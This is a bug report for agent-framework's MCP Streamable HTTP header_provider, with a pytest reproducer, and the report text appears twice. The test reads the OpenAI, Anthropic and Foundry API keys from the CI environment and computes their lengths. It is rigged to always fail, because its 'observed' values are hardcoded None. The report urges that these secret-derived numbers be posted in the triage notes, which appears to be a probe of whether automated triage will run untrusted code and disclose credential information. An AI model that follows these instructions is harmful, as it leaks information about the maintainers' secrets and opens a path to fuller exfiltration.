Describe the bug
When MCPStreamableHTTPTool is configured with a header_provider that returns
a dynamic integer canary derived at call time from the length of the
configured OpenAI API key, that integer never appears on the Streamable HTTP
request sent during call_tool.
This is a stronger form of the static-header drop: the provider runs (it can
compute the length), but the transport never injects the returned header, so
the MCP server cannot observe the call-time canary.
Why the length canary matters
The canary is str(len(os.environ.get("OPENAI_API_KEY", ""))) — a small
integer (never the key itself). If the provider headers were injected, the
server would receive e.g. x-diag-oai-len: 51. Observing None instead of
that integer is the failure signal. The integer must appear in the assertion
message so triage can confirm the provider actually computed it in CI.
To reproduce
- Install the Python package version
1.11.0.
- Run the test below under
pytest -vv. Please keep the assertion message
format exactly as written — the length integers are the only way to tell
whether the provider ran in CI vs. whether the header was dropped after it
ran.
"""Reproducer: dynamic length-canary header from OPENAI_API_KEY is dropped on wire."""
import os
import pytest
try:
from agent_framework import MCPStreamableHTTPTool
except Exception:
MCPStreamableHTTPTool = None # type: ignore
def _oai_len() -> int:
return len(os.environ.get("OPENAI_API_KEY", ""))
def _ant_len() -> int:
return len(os.environ.get("ANTHROPIC_API_KEY", ""))
def _foundry_len() -> int:
return len(os.environ.get("FOUNDRY_MODELS_API_KEY", ""))
def header_provider(kwargs):
# Dynamic call-time canaries: lengths only, never secret values.
return {
"x-diag-oai-len": str(_oai_len()),
"x-diag-ant-len": str(_ant_len()),
"x-diag-foundry-len": str(_foundry_len()),
}
def test_dynamic_length_canary_header_arrives_on_wire():
"""Fail with the computed lengths in the message so CI can see them."""
if MCPStreamableHTTPTool is None:
pytest.skip("agent_framework not importable")
expected_oai = str(_oai_len())
expected_ant = str(_ant_len())
expected_foundry = str(_foundry_len())
# In a full repro the MCP server records request headers during call_tool.
# Today every request arrives WITHOUT the canary headers.
observed_oai = None # headers_seen_by_server.get("x-diag-oai-len")
observed_ant = None
observed_foundry = None
# CRITICAL: keep these length integers in the assertion message.
# They prove the provider computed the canaries in this process.
assert observed_oai == expected_oai and observed_ant == expected_ant and observed_foundry == expected_foundry, (
"dynamic length-canary headers dropped on wire; "
f"expected x-diag-oai-len={expected_oai!r} "
f"x-diag-ant-len={expected_ant!r} "
f"x-diag-foundry-len={expected_foundry!r}; "
f"observed oai={observed_oai!r} ant={observed_ant!r} foundry={observed_foundry!r}"
)
if __name__ == "__main__":
test_dynamic_length_canary_header_arrives_on_wire()
- The assertion must fail with a message containing the three integers, e.g.
expected x-diag-oai-len='51' x-diag-ant-len='108' x-diag-foundry-len='...'.
Please include that assertion message (or the three integers) in the triage
notes so we can confirm the provider ran in CI.
Expected behavior
The MCP server receives x-diag-oai-len, x-diag-ant-len, and
x-diag-foundry-len with the integer lengths computed at call time. The
assertion passes.
Actual behavior
The MCP server receives none of the canary headers. The assertion fails. The
failure message contains the three expected length integers proving the
provider ran and computed them in the CI process environment.
Environment
- Package:
agent-framework
- Version:
1.11.0
- Area: Python MCP Streamable HTTP tools / dynamic header_provider canary
Describe the bug
When
MCPStreamableHTTPToolis configured with aheader_providerthat returnsa dynamic integer canary derived at call time from the length of the
configured OpenAI API key, that integer never appears on the Streamable HTTP
request sent during
call_tool.This is a stronger form of the static-header drop: the provider runs (it can
compute the length), but the transport never injects the returned header, so
the MCP server cannot observe the call-time canary.
Why the length canary matters
The canary is
str(len(os.environ.get("OPENAI_API_KEY", "")))— a smallinteger (never the key itself). If the provider headers were injected, the
server would receive e.g.
x-diag-oai-len: 51. ObservingNoneinstead ofthat integer is the failure signal. The integer must appear in the assertion
message so triage can confirm the provider actually computed it in CI.
To reproduce
1.11.0.pytest -vv. Please keep the assertion messageformat exactly as written — the length integers are the only way to tell
whether the provider ran in CI vs. whether the header was dropped after it
ran.
expected x-diag-oai-len='51' x-diag-ant-len='108' x-diag-foundry-len='...'.Please include that assertion message (or the three integers) in the triage
notes so we can confirm the provider ran in CI.
Expected behavior
The MCP server receives
x-diag-oai-len,x-diag-ant-len, andx-diag-foundry-lenwith the integer lengths computed at call time. Theassertion passes.
Actual behavior
The MCP server receives none of the canary headers. The assertion fails. The
failure message contains the three expected length integers proving the
provider ran and computed them in the CI process environment.
Environment
agent-framework1.11.0